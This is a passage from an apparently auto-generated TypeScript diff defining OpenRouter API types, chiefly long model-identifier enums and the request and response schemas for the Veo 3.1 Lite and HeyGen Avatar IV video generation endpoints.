'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosGoogleVeo31LiteRequestModelEnumKey = + (typeof openrouterPostVideosGoogleVeo31LiteRequestModelEnum)[keyof typeof openrouterPostVideosGoogleVeo31LiteRequestModelEnum] + +export const openrouterPostVideosGoogleVeo31LiteRequestResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosGoogleVeo31LiteRequestResolutionEnumKey = + (typeof openrouterPostVideosGoogleVeo31LiteRequestResolutionEnum)[keyof typeof openrouterPostVideosGoogleVeo31LiteRequestResolutionEnum] + +export const openrouterPostVideosGoogleVeo31LiteRequestSizeEnum = { + '1280x720': '1280x720', + '720x1280': '720x1280', + '1920x1080': '1920x1080', + '1080x1920': '1080x1920', +} as const + +export type OpenrouterPostVideosGoogleVeo31LiteRequestSizeEnumKey = + (typeof openrouterPostVideosGoogleVeo31LiteRequestSizeEnum)[keyof typeof openrouterPostVideosGoogleVeo31LiteRequestSizeEnum] + +/** + * @description Google: Veo 3.1 Lite (google/veo-3.1-lite) — model-constrained video generation request. Google's most cost-effective video generation model, designed for high-volume applications and rapid iteration. Veo 3.1 Lite generates 720p and 1080p video from text or image prompts with native synchronized audio... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosGoogleVeo31LiteBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosGoogleVeo31LiteRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosGoogleVeo31LiteRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosGoogleVeo31LiteRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: personGeneration, aspectRatio, negativePrompt, conditioningScale, enhancePrompt. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosGoogleVeo31LiteRequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosGoogleVeo31LiteRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosGoogleVeo31LiteOptions = { + body: OpenrouterPostVideosGoogleVeo31LiteBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosGoogleVeo31LiteResponses = { + '200': OpenrouterPostVideosGoogleVeo31LiteStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosGoogleVeo31LiteResponse = + OpenrouterPostVideosGoogleVeo31LiteStatus200 + +export const openrouterPostVideosHeygenAvatarIvStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosHeygenAvatarIvStatus200StatusEnumKey = + (typeof openrouterPostVideosHeygenAvatarIvStatus200StatusEnum)[keyof typeof openrouterPostVideosHeygenAvatarIvStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosHeygenAvatarIvStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosHeygenAvatarIvStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosHeygenAvatarIvRequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type OpenrouterPostVideosHeygenAvatarIvRequestAspectRatioEnumKey = + (typeof openrouterPostVideosHeygenAvatarIvRequestAspectRatioEnum)[keyof typeof openrouterPostVideosHeygenAvatarIvRequestAspectRatioEnum] + +export const openrouterPostVideosHeygenAvatarIvRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 